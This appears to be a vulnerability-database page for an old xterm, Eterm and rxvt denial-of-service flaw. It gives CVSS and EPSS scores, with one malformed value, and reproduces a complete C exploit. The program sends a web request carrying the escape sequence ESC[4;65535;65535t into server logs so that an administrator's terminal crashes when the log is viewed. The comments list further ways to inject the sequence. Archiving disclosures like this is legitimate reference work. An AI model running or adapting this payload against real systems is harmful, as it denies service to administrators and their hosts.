CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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xterm, Eterm, and rxvt allow an attacker to cause a denial of service by embedding certain escape characters which force the window to be resized.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
5
AV:N/AC:L/Au:N/C:N/I:N/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
4.19%
–
–
2022-04-03
–
–
4.19%
–
–
2022-07-17
–
–
4.19%
–
–
2023-03-12
–
–
–
0.51%
–
2023-07-16
–
–
–
0.51%
–
2024-02-11
–
–
–
0.51%
–
2024-05-12
–
–
–
0.51%
–
2024-06-02
–
–
–
0.51%
–
2024-06-16
–
–
–
0.79%
–
2024-12-22
–
–
–
0.93%
–
2025-01-19
–
–
–
0.93%
–
2025-03-18
–
–
–
–
7.48%
2025-03-18
–
–
–
–
7.48,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
// source: https://www.securityfocus.com/bid/1298/info
xterm is a popular X11-based terminal emulator. If VT control-characters are displayed in the xterm, they can be interpreted and used to cause a denial of service attack against the client (and even the host running the client). What makes it possible for remote users to exploit this vulnerability is a situation like this:
An admin is tailing the http access log
Attacker requests url with control characters in it
Admin's xterm crashes
This vulnerability also affects applications (such as other terminal emulators) derived from xterm code.
/*
*
* xterm Denial of Service Attack
* (C) 2000 Kit Knox <kit@rootshell.com> - 5/31/2000
*
* Tested against: xterm (XFree86 3.3.3.1b(88b) -- crashes
* rxvt v2.6.1 -- consumes all available memory and then
* crashes.
*
* Not vulnerable: KDE konsole 0.9.11
* Secure CRT 3.0.x
*
*
* By sending the VT control characters to resize a window it is possible
* to cause an xterm to crash and in some cases consume all available
* memory.
*
* This itself isn't much of a problem, except that remote users can inject
* these control characters into your xterm numerous ways including :
*
* o Directories and filenames on a rogue FTP servers.
* o Rogue banner messages on ftp, telnet, mud daemons.
* o Log files (spoofed syslog messages, web server logs, ftp server logs)
*
* This sample exploit injects these control characters into a web get
* request. If an admin were to cat this log file, or happened to be doing
* a "tail -f access_log" at the time of attack they would find their
* xterm crash.
*
* Embedding "ESCAPE[4;65535;65535t" (where escape is the escape character)
* inside files, directories, etc will have the same effect as this code.
*
*/
#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
int sock;
int
main (int argc, char *argv[])
{
struct hostent *he;
struct sockaddr_in sa;
char buf[1024];
char packet[1024];
int i;
fprintf(stderr, "[ http://www.rootshell.com/ ] - xterm DoS attack - 05/31/2000.\n\n");
if (argc != 2)
{
fprintf (stderr, "usage: %s <host/ip>\n", argv[0]);
return (-1);
}
sock = socket (AF_INET, SOCK_STREAM, 0);
sa.sin_family = AF_INET;
sa.sin_port = htons (80);
he = gethostbyname (argv[1]);
if (!he)
{
if ((sa.sin_addr.s_addr = inet_addr (argv[1])) == INADDR_NONE)
return (-1);
}
else
{
bcopy (he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
}
if (connect (sock, (struct sockaddr *) &sa, sizeof (sa)) < 0)
{
fprintf (stderr,
"Fatal Error: Can't connect to web server.\n");
return (-1);
}
sprintf(packet, "GET /\033[4;65535;65535t HTTP/1.0\n\n");
write (sock, packet, strlen(packet));
close (sock);
fprintf(stderr, "Done.\n");
}